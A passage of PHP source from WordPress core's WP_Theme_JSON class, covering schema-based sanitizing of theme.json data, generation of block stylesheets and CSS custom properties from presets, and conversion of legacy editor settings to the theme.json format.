	 * @param array $input Structure to sanitize.
	 * @return array The sanitized output.
	 */
	private static function sanitize( $input ) {
		$output = array();

if ( ! is_array( $input ) ) {
			return $output;
		}

$allowed_top_level_keys = self::ALLOWED_TOP_LEVEL_KEYS;
		$allowed_settings       = self::ALLOWED_SETTINGS;
		$allowed_styles         = self::ALLOWED_STYLES;
		$allowed_blocks         = array_keys( self::get_blocks_metadata() );
		$allowed_elements       = array_keys( self::ELEMENTS );

$output = array_intersect_key( $input, array_flip( $allowed_top_level_keys ) );

// Build the schema.
		$schema                 = array();
		$schema_styles_elements = array();
		foreach ( $allowed_elements as $element ) {
			$schema_styles_elements[ $element ] = $allowed_styles;
		}
		$schema_styles_blocks   = array();
		$schema_settings_blocks = array();
		foreach ( $allowed_blocks as $block ) {
			$schema_settings_blocks[ $block ]           = $allowed_settings;
			$schema_styles_blocks[ $block ]             = $allowed_styles;
			$schema_styles_blocks[ $block ]['elements'] = $schema_styles_elements;
		}
		$schema['styles']             = $allowed_styles;
		$schema['styles']['blocks']   = $schema_styles_blocks;
		$schema['styles']['elements'] = $schema_styles_elements;
		$schema['settings']           = $allowed_settings;
		$schema['settings']['blocks'] = $schema_settings_blocks;

// Remove anything that's not present in the schema.
		foreach ( array( 'styles', 'settings' ) as $subtree ) {
			if ( ! isset( $input[ $subtree ] ) ) {
				continue;
			}

if ( ! is_array( $input[ $subtree ] ) ) {
				unset( $output[ $subtree ] );
				continue;
			}

$result = self::remove_keys_not_in_schema( $input[ $subtree ], $schema[ $subtree ] );

if ( empty( $result ) ) {
				unset( $output[ $subtree ] );
			} else {
				$output[ $subtree ] = $result;
			}
		}

return $output;
	}

/**
	 * Returns the metadata for each block.
	 *
	 * Example:
	 *
	 *     {
	 *       'core/paragraph': {
	 *         'selector': 'p',
	 *         'elements': {
	 *           'link' => 'link selector',
	 *           'etc'  => 'element selector'
	 *         }
	 *       },
	 *       'core/heading': {
	 *         'selector': 'h1',
	 *         'elements': {}
	 *       }
	 *       'core/group': {
	 *         'selector': '.wp-block-group',
	 *         'elements': {}
	 *       }
	 *     }
	 *
	 * @since 5.8.0
	 *
	 * @return array Block metadata.
	 */
	private static function get_blocks_metadata() {
		if ( null !== self::$blocks_metadata ) {
			return self::$blocks_metadata;
		}

self::$blocks_metadata = array();

$registry = WP_Block_Type_Registry::get_instance();
		$blocks   = $registry->get_all_registered();
		foreach ( $blocks as $block_name => $block_type ) {
			if (
				isset( $block_type->supports['__experimentalSelector'] ) &&
				is_string( $block_type->supports['__experimentalSelector'] )
			) {
				self::$blocks_metadata[ $block_name ]['selector'] = $block_type->supports['__experimentalSelector'];
			} else {
				self::$blocks_metadata[ $block_name ]['selector'] = '.wp-block-' . str_replace( '/', '-', str_replace( 'core/', '', $block_name ) );
			}

/*
			 * Assign defaults, then overwrite those that the block sets by itself.
			 * If the block selector is compounded, will append the element to each
			 * individual block selector.
			 */
			$block_selectors = explode( ',', self::$blocks_metadata[ $block_name ]['selector'] );
			foreach ( self::ELEMENTS as $el_name => $el_selector ) {
				$element_selector = array();
				foreach ( $block_selectors as $selector ) {
					$element_selector[] = $selector . ' ' . $el_selector;
				}
				self::$blocks_metadata[ $block_name ]['elements'][ $el_name ] = implode( ',', $element_selector );
			}
		}

return self::$blocks_metadata;
	}

/**
	 * Given a tree, removes the keys that are not present in the schema.
	 *
	 * It is recursive and modifies the input in-place.
	 *
	 * @since 5.8.0
	 *
	 * @param array $tree   Input to process.
	 * @param array $schema Schema to adhere to.
	 * @return array Returns the modified $tree.
	 */
	private static function remove_keys_not_in_schema( $tree, $schema ) {
		$tree = array_intersect_key( $tree, $schema );

foreach ( $schema as $key => $data ) {
			if ( ! isset( $tree[ $key ] ) ) {
				continue;
			}

if ( is_array( $schema[ $key ] ) && is_array( $tree[ $key ] ) ) {
				$tree[ $key ] = self::remove_keys_not_in_schema( $tree[ $key ], $schema[ $key ] );

if ( empty( $tree[ $key ] ) ) {
					unset( $tree[ $key ] );
				}
			} elseif ( is_array( $schema[ $key ] ) && ! is_array( $tree[ $key ] ) ) {
				unset( $tree[ $key ] );
			}
		}

return $tree;
	}

/**
	 * Returns the existing settings for each block.
	 *
	 * Example:
	 *
	 *     {
	 *       'root': {
	 *         'color': {
	 *           'custom': true
	 *         }
	 *       },
	 *       'core/paragraph': {
	 *         'spacing': {
	 *           'customPadding': true
	 *         }
	 *       }
	 *     }
	 *
	 * @since 5.8.0
	 *
	 * @return array Settings per block.
	 */
	public function get_settings() {
		if ( ! isset( $this->theme_json['settings'] ) ) {
			return array();
		} else {
			return $this->theme_json['settings'];
		}
	}

/**
	 * Returns the stylesheet that results of processing
	 * the theme.json structure this object represents.
	 *
	 * @since 5.8.0
	 *
	 * @param string $type Optional. Type of stylesheet we want. Accepts 'all',
	 *                     'block_styles', and 'css_variables'. Default 'all'.
	 * @return string Stylesheet.
	 */
	public function get_stylesheet( $type = 'all' ) {
		$blocks_metadata = self::get_blocks_metadata();
		$style_nodes     = self::get_style_nodes( $this->theme_json, $blocks_metadata );
		$setting_nodes   = self::get_setting_nodes( $this->theme_json, $blocks_metadata );

switch ( $type ) {
			case 'block_styles':
				return $this->get_block_styles( $style_nodes, $setting_nodes );
			case 'css_variables':
				return $this->get_css_variables( $setting_nodes );
			default:
				return $this->get_css_variables( $setting_nodes ) . $this->get_block_styles( $style_nodes, $setting_nodes );
		}

}

/**
	 * Converts each style section into a list of rulesets
	 * containing the block styles to be appended to the stylesheet.
	 *
	 * See glossary at https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax
	 *
	 * For each section this creates a new ruleset such as:
	 *
	 *   block-selector {
	 *     style-property-one: value;
	 *   }
	 *
	 * Additionally, it'll also create new rulesets
	 * as classes for each preset value such as:
	 *
	 *     .has-value-color {
	 *       color: value;
	 *     }
	 *
	 *     .has-value-background-color {
	 *       background-color: value;
	 *     }
	 *
	 *     .has-value-font-size {
	 *       font-size: value;
	 *     }
	 *
	 *     .has-value-gradient-background {
	 *       background: value;
	 *     }
	 *
	 *     p.has-value-gradient-background {
	 *       background: value;
	 *     }
	 *
	 * @since 5.8.0
	 *
	 * @param array $style_nodes   Nodes with styles.
	 * @param array $setting_nodes Nodes with settings.
	 * @return string The new stylesheet.
	 */
	private function get_block_styles( $style_nodes, $setting_nodes ) {
		$block_rules = '';
		foreach ( $style_nodes as $metadata ) {
			if ( null === $metadata['selector'] ) {
				continue;
			}

$node         = _wp_array_get( $this->theme_json, $metadata['path'], array() );
			$selector     = $metadata['selector'];
			$declarations = self::compute_style_properties( $node );
			$block_rules .= self::to_ruleset( $selector, $declarations );
		}

$preset_rules = '';
		foreach ( $setting_nodes as $metadata ) {
			if ( null === $metadata['selector'] ) {
				continue;
			}

$selector      = $metadata['selector'];
			$node          = _wp_array_get( $this->theme_json, $metadata['path'], array() );
			$preset_rules .= self::compute_preset_classes( $node, $selector );
		}

return $block_rules . $preset_rules;
	}

/**
	 * Converts each styles section into a list of rulesets
	 * to be appended to the stylesheet.
	 * These rulesets contain all the css variables (custom variables and preset variables).
	 *
	 * See glossary at https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax
	 *
	 * For each section this creates a new ruleset such as:
	 *
	 *     block-selector {
	 *       --wp--preset--category--slug: value;
	 *       --wp--custom--variable: value;
	 *     }
	 *
	 * @since 5.8.0
	 *
	 * @param array $nodes Nodes with settings.
	 * @return string The new stylesheet.
	 */
	private function get_css_variables( $nodes ) {
		$stylesheet = '';
		foreach ( $nodes as $metadata ) {
			if ( null === $metadata['selector'] ) {
				continue;
			}

$selector = $metadata['selector'];

$node         = _wp_array_get( $this->theme_json, $metadata['path'], array() );
			$declarations = array_merge( self::compute_preset_vars( $node ), self::compute_theme_vars( $node ) );

$stylesheet .= self::to_ruleset( $selector, $declarations );
		}

return $stylesheet;
	}

/**
	 * Given a selector and a declaration list,
	 * creates the corresponding ruleset.
	 *
	 * @since 5.8.0
	 *
	 * @param string $selector     CSS selector.
	 * @param array  $declarations List of declarations.
	 * @return string CSS ruleset.
	 */
	private static function to_ruleset( $selector, $declarations ) {
		if ( empty( $declarations ) ) {
			return '';
		}

$declaration_block = array_reduce(
			$declarations,
			function ( $carry, $element ) {
				return $carry .= $element['name'] . ': ' . $element['value'] . ';'; },
			''
		);

return $selector . '{' . $declaration_block . '}';
	}

/**
	 * Function that appends a sub-selector to a existing one.
	 *
	 * Given the compounded $selector "h1, h2, h3"
	 * and the $to_append selector ".some-class" the result will be
	 * "h1.some-class, h2.some-class, h3.some-class".
	 *
	 * @since 5.8.0
	 *
	 * @param string $selector  Original selector.
	 * @param string $to_append Selector to append.
	 * @return string
	 */
	private static function append_to_selector( $selector, $to_append ) {
		$new_selectors = array();
		$selectors     = explode( ',', $selector );
		foreach ( $selectors as $sel ) {
			$new_selectors[] = $sel . $to_append;
		}

return implode( ',', $new_selectors );
	}

/**
	 * Given an array of presets keyed by origin and the value key of the preset,
	 * it returns an array where each key is the preset slug and each value the preset value.
	 *
	 * @since 5.8.0
	 *
	 * @param array  $preset_per_origin Array of presets keyed by origin.
	 * @param string $value_key         The property of the preset that contains its value.
	 * @return array Array of presets where each key is a slug and each value is the preset value.
	 */
	private static function get_merged_preset_by_slug( $preset_per_origin, $value_key ) {
		$result = array();
		foreach ( self::VALID_ORIGINS as $origin ) {
			if ( ! isset( $preset_per_origin[ $origin ] ) ) {
				continue;
			}
			foreach ( $preset_per_origin[ $origin ] as $preset ) {
				/*
				 * We don't want to use kebabCase here,
				 * see https://github.com/WordPress/gutenberg/issues/32347
				 * However, we need to make sure the generated class or CSS variable
				 * doesn't contain spaces.
				 */
				$result[ preg_replace( '/\s+/', '-', $preset['slug'] ) ] = $preset[ $value_key ];
			}
		}
		return $result;
	}

/**
	 * Given a settings array, it returns the generated rulesets
	 * for the preset classes.
	 *
	 * @since 5.8.0
	 *
	 * @param array  $settings Settings to process.
	 * @param string $selector Selector wrapping the classes.
	 * @return string The result of processing the presets.
	 */
	private static function compute_preset_classes( $settings, $selector ) {
		if ( self::ROOT_BLOCK_SELECTOR === $selector ) {
			// Classes at the global level do not need any CSS prefixed,
			// and we don't want to increase its specificity.
			$selector = '';
		}

$stylesheet = '';
		foreach ( self::PRESETS_METADATA as $preset ) {
			$preset_per_origin = _wp_array_get( $settings, $preset['path'], array() );
			$preset_by_slug    = self::get_merged_preset_by_slug( $preset_per_origin, $preset['value_key'] );
			foreach ( $preset['classes'] as $class ) {
				foreach ( $preset_by_slug as $slug => $value ) {
					$stylesheet .= self::to_ruleset(
						self::append_to_selector( $selector, '.has-' . _wp_to_kebab_case( $slug ) . '-' . $class['class_suffix'] ),
						array(
							array(
								'name'  => $class['property_name'],
								'value' => 'var(--wp--preset--' . $preset['css_var_infix'] . '--' . _wp_to_kebab_case( $slug ) . ') !important',
							),
						)
					);
				}
			}
		}

return $stylesheet;
	}

/**
	 * Given the block settings, it extracts the CSS Custom Properties
	 * for the presets and adds them to the $declarations array
	 * following the format:
	 *
	 *     array(
	 *       'name'  => 'property_name',
	 *       'value' => 'property_value,
	 *     )
	 *
	 * @since 5.8.0
	 *
	 * @param array $settings Settings to process.
	 * @return array Returns the modified $declarations.
	 */
	private static function compute_preset_vars( $settings ) {
		$declarations = array();
		foreach ( self::PRESETS_METADATA as $preset ) {
			$preset_per_origin = _wp_array_get( $settings, $preset['path'], array() );
			$preset_by_slug    = self::get_merged_preset_by_slug( $preset_per_origin, $preset['value_key'] );
			foreach ( $preset_by_slug as $slug => $value ) {
				$declarations[] = array(
					'name'  => '--wp--preset--' . $preset['css_var_infix'] . '--' . _wp_to_kebab_case( $slug ),
					'value' => $value,
				);
			}
		}

return $declarations;
	}

/**
	 * Given an array of settings, it extracts the CSS Custom Properties
	 * for the custom values and adds them to the $declarations
	 * array following the format:
	 *
	 *     array(
	 *       'name'  => 'property_name',
	 *       'value' => 'property_value,
	 *     )
	 *
	 * @since 5.8.0
	 *
	 * @param array $settings Settings to process.
	 * @return array Returns the modified $declarations.
	 */
	private static function compute_theme_vars( $settings ) {
		$declarations  = array();
		$custom_values = _wp_array_get( $settings, array( 'custom' ), array() );
		$css_vars      = self::flatten_tree( $custom_values );
		foreach ( $css_vars as $key => $value ) {
			$declarations[] = array(
				'name'  => '--wp--custom--' . $key,
				'value' => $value,
			);
		}

return $declarations;
	}

/**
	 * Given a tree, it creates a flattened one
	 * by merging the keys and binding the leaf values
	 * to the new keys.
	 *
	 * It also transforms camelCase names into kebab-case
	 * and substitutes '/' by '-'.
	 *
	 * This is thought to be useful to generate
	 * CSS Custom Properties from a tree,
	 * although there's nothing in the implementation
	 * of this function that requires that format.
	 *
	 * For example, assuming the given prefix is '--wp'
	 * and the token is '--', for this input tree:
	 *
	 *     {
	 *       'some/property': 'value',
	 *       'nestedProperty': {
	 *         'sub-property': 'value'
	 *       }
	 *     }
	 *
	 * it'll return this output:
	 *
	 *     {
	 *       '--wp--some-property': 'value',
	 *       '--wp--nested-property--sub-property': 'value'
	 *     }
	 *
	 * @since 5.8.0
	 *
	 * @param array  $tree   Input tree to process.
	 * @param string $prefix Optional. Prefix to prepend to each variable. Default empty string.
	 * @param string $token  Optional. Token to use between levels. Default '--'.
	 * @return array The flattened tree.
	 */
	private static function flatten_tree( $tree, $prefix = '', $token = '--' ) {
		$result = array();
		foreach ( $tree as $property => $value ) {
			$new_key = $prefix . str_replace(
				'/',
				'-',
				strtolower( preg_replace( '/(?<!^)[A-Z]/', '-$0', $property ) ) // CamelCase to kebab-case.
			);

if ( is_array( $value ) ) {
				$new_prefix = $new_key . $token;
				$result     = array_merge(
					$result,
					self::flatten_tree( $value, $new_prefix, $token )
				);
			} else {
				$result[ $new_key ] = $value;
			}
		}
		return $result;
	}

/**
	 * Given a styles array, it extracts the style properties
	 * and adds them to the $declarations array following the format:
	 *
	 *     array(
	 *       'name'  => 'property_name',
	 *       'value' => 'property_value,
	 *     )
	 *
	 * @since 5.8.0
	 *
	 * @param array $styles Styles to process.
	 * @return array Returns the modified $declarations.
	 */
	private static function compute_style_properties( $styles ) {
		$declarations = array();
		if ( empty( $styles ) ) {
			return $declarations;
		}

$properties = array();
		foreach ( self::PROPERTIES_METADATA as $name => $metadata ) {
			/*
			 * Some properties can be shorthand properties, meaning that
			 * they contain multiple values instead of a single one.
			 * An example of this is the padding property.
			 */
			if ( self::has_properties( $metadata ) ) {
				foreach ( $metadata['properties'] as $property ) {
					$properties[] = array(
						'name'  => $name . '-' . $property,
						'value' => array_merge( $metadata['value'], array( $property ) ),
					);
				}
			} else {
				$properties[] = array(
					'name'  => $name,
					'value' => $metadata['value'],
				);
			}
		}

foreach ( $properties as $prop ) {
			$value = self::get_property_value( $styles, $prop['value'] );
			if ( empty( $value ) ) {
				continue;
			}

$declarations[] = array(
				'name'  => $prop['name'],
				'value' => $value,
			);
		}

return $declarations;
	}

/**
	 * Whether the metadata contains a key named properties.
	 *
	 * @since 5.8.0
	 *
	 * @param array $metadata Description of the style property.
	 * @return bool True if properties exists, false otherwise.
	 */
	private static function has_properties( $metadata ) {
		if ( array_key_exists( 'properties', $metadata ) ) {
			return true;
		}

return false;
	}

/**
	 * Returns the style property for the given path.
	 *
	 * It also converts CSS Custom Property stored as
	 * "var:preset|color|secondary" to the form
	 * "--wp--preset--color--secondary".
	 *
	 * @since 5.8.0
	 *
	 * @param array $styles Styles subtree.
	 * @param array $path   Which property to process.
	 * @return string Style property value.
	 */
	private static function get_property_value( $styles, $path ) {
		$value = _wp_array_get( $styles, $path, '' );

if ( '' === $value ) {
			return $value;
		}

$prefix     = 'var:';
		$prefix_len = strlen( $prefix );
		$token_in   = '|';
		$token_out  = '--';
		if ( 0 === strncmp( $value, $prefix, $prefix_len ) ) {
			$unwrapped_name = str_replace(
				$token_in,
				$token_out,
				substr( $value, $prefix_len )
			);
			$value          = "var(--wp--$unwrapped_name)";
		}

return $value;
	}

/**
	 * Builds metadata for the setting nodes, which returns in the form of:
	 *
	 *     [
	 *       [
	 *         'path'     => ['path', 'to', 'some', 'node' ],
	 *         'selector' => 'CSS selector for some node'
	 *       ],
	 *       [
	 *         'path'     => [ 'path', 'to', 'other', 'node' ],
	 *         'selector' => 'CSS selector for other node'
	 *       ],
	 *     ]
	 *
	 * @since 5.8.0
	 *
	 * @param array $theme_json The tree to extract setting nodes from.
	 * @param array $selectors  List of selectors per block.
	 * @return array
	 */
	private static function get_setting_nodes( $theme_json, $selectors = array() ) {
		$nodes = array();
		if ( ! isset( $theme_json['settings'] ) ) {
			return $nodes;
		}

// Top-level.
		$nodes[] = array(
			'path'     => array( 'settings' ),
			'selector' => self::ROOT_BLOCK_SELECTOR,
		);

// Calculate paths for blocks.
		if ( ! isset( $theme_json['settings']['blocks'] ) ) {
			return $nodes;
		}

foreach ( $theme_json['settings']['blocks'] as $name => $node ) {
			$selector = null;
			if ( isset( $selectors[ $name ]['selector'] ) ) {
				$selector = $selectors[ $name ]['selector'];
			}

$nodes[] = array(
				'path'     => array( 'settings', 'blocks', $name ),
				'selector' => $selector,
			);
		}

return $nodes;
	}

/**
	 * Builds metadata for the style nodes, which returns in the form of:
	 *
	 *     [
	 *       [
	 *         'path'     => [ 'path', 'to', 'some', 'node' ],
	 *         'selector' => 'CSS selector for some node'
	 *       ],
	 *       [
	 *         'path'     => ['path', 'to', 'other', 'node' ],
	 *         'selector' => 'CSS selector for other node'
	 *       ],
	 *     ]
	 *
	 * @since 5.8.0
	 *
	 * @param array $theme_json The tree to extract style nodes from.
	 * @param array $selectors  List of selectors per block.
	 * @return array
	 */
	private static function get_style_nodes( $theme_json, $selectors = array() ) {
		$nodes = array();
		if ( ! isset( $theme_json['styles'] ) ) {
			return $nodes;
		}

// Top-level.
		$nodes[] = array(
			'path'     => array( 'styles' ),
			'selector' => self::ROOT_BLOCK_SELECTOR,
		);

if ( isset( $theme_json['styles']['elements'] ) ) {
			foreach ( $theme_json['styles']['elements'] as $element => $node ) {
				$nodes[] = array(
					'path'     => array( 'styles', 'elements', $element ),
					'selector' => self::ELEMENTS[ $element ],
				);
			}
		}

// Blocks.
		if ( ! isset( $theme_json['styles']['blocks'] ) ) {
			return $nodes;
		}

foreach ( $theme_json['styles']['blocks'] as $name => $node ) {
			$selector = null;
			if ( isset( $selectors[ $name ]['selector'] ) ) {
				$selector = $selectors[ $name ]['selector'];
			}

$nodes[] = array(
				'path'     => array( 'styles', 'blocks', $name ),
				'selector' => $selector,
			);

if ( isset( $theme_json['styles']['blocks'][ $name ]['elements'] ) ) {
				foreach ( $theme_json['styles']['blocks'][ $name ]['elements'] as $element => $node ) {
					$nodes[] = array(
						'path'     => array( 'styles', 'blocks', $name, 'elements', $element ),
						'selector' => $selectors[ $name ]['elements'][ $element ],
					);
				}
			}
		}

return $nodes;
	}

/**
	 * Merge new incoming data.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_Theme_JSON $incoming Data to merge.
	 */
	public function merge( $incoming ) {
		$incoming_data    = $incoming->get_raw_data();
		$this->theme_json = array_replace_recursive( $this->theme_json, $incoming_data );

/*
		 * The array_replace_recursive() algorithm merges at the leaf level.
		 * For leaf values that are arrays it will use the numeric indexes for replacement.
		 * In those cases, we want to replace the existing with the incoming value, if it exists.
		 */
		$to_replace   = array();
		$to_replace[] = array( 'spacing', 'units' );
		$to_replace[] = array( 'color', 'duotone' );
		foreach ( self::VALID_ORIGINS as $origin ) {
			$to_replace[] = array( 'color', 'palette', $origin );
			$to_replace[] = array( 'color', 'gradients', $origin );
			$to_replace[] = array( 'typography', 'fontSizes', $origin );
			$to_replace[] = array( 'typography', 'fontFamilies', $origin );
		}

$nodes = self::get_setting_nodes( $this->theme_json );
		foreach ( $nodes as $metadata ) {
			foreach ( $to_replace as $property_path ) {
				$path = array_merge( $metadata['path'], $property_path );
				$node = _wp_array_get( $incoming_data, $path, null );
				if ( isset( $node ) ) {
					_wp_array_set( $this->theme_json, $path, $node );
				}
			}
		}
	}

/**
	 * Returns the raw data.
	 *
	 * @since 5.8.0
	 *
	 * @return array Raw data.
	 */
	public function get_raw_data() {
		return $this->theme_json;
	}

/**
	 * Transforms the given editor settings according the
	 * add_theme_support format to the theme.json format.
	 *
	 * @since 5.8.0
	 *
	 * @param array $settings Existing editor settings.
	 * @return array Config that adheres to the theme.json schema.
	 */
	public static function get_from_editor_settings( $settings ) {
		$theme_settings = array(
			'version'  => self::LATEST_SCHEMA,
			'settings' => array(),
		);

// Deprecated theme supports.
		if ( isset( $settings['disableCustomColors'] ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['custom'] = ! $settings['disableCustomColors'];
		}

if ( isset( $settings['disableCustomGradients'] ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['customGradient'] = ! $settings['disableCustomGradients'];
		}

if ( isset( $settings['disableCustomFontSizes'] ) ) {
			if ( ! isset( $theme_settings['settings']['typography'] ) ) {
				$theme_settings['settings']['typography'] = array();
			}
			$theme_settings['settings']['typography']['customFontSize'] = ! $settings['disableCustomFontSizes'];
		}

if ( isset( $settings['enableCustomLineHeight'] ) ) {
			if ( ! isset( $theme_settings['settings']['typography'] ) ) {
				$theme_settings['settings']['typography'] = array();
			}
			$theme_settings['settings']['typography']['customLineHeight'] = $settings['enableCustomLineHeight'];
		}

if ( isset( $settings['enableCustomUnits'] ) ) {
			if ( ! isset( $theme_settings['settings']['spacing'] ) ) {
				$theme_settings['settings']['spacing'] = array();
			}
			$theme_settings['settings']['spacing']['units'] = ( true === $settings['enableCustomUnits'] ) ?
				array( 'px', 'em', 'rem', 'vh', 'vw', '%' ) :
				$settings['enableCustomUnits'];
		}

if ( isset( $settings['colors'] ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['palette'] = $settings['colors'];
		}

if ( isset( $settings['gradients'] ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['gradients'] = $settings['gradients'];
		}

if ( isset( $settings['fontSizes'] ) ) {
			$font_sizes = $settings['fontSizes'];
			// Back-compatibility for presets without units.
			foreach ( $font_sizes as $key => $font_size ) {
				if ( is_numeric( $font_size['size'] ) ) {
					$font_sizes[ $key ]['size'] = $font_size['size'] . 'px';
				}
			}
			if ( ! isset( $theme_settings['settings']['typography'] ) ) {
				$theme_settings['settings']['typography'] = array();
			}
			$theme_settings['settings']['typography']['fontSizes'] = $font_sizes;
		}

if ( isset( $settings['enableCustomSpacing'] ) ) {
			if ( ! isset( $theme_settings['settings']['spacing'] ) ) {
				$theme_settings['settings']['spacing'] = array();
			}
			$theme_settings['settings']['spacing']['customPadding'] = $settings['enableCustomSpacing'];
		}

// Things that didn't land in core yet, so didn't have a setting assigned.
		if ( current( (array) get_theme_support( 'experimental-link-color' ) ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['link'] = true;
		}

return $theme_settings;
	}

}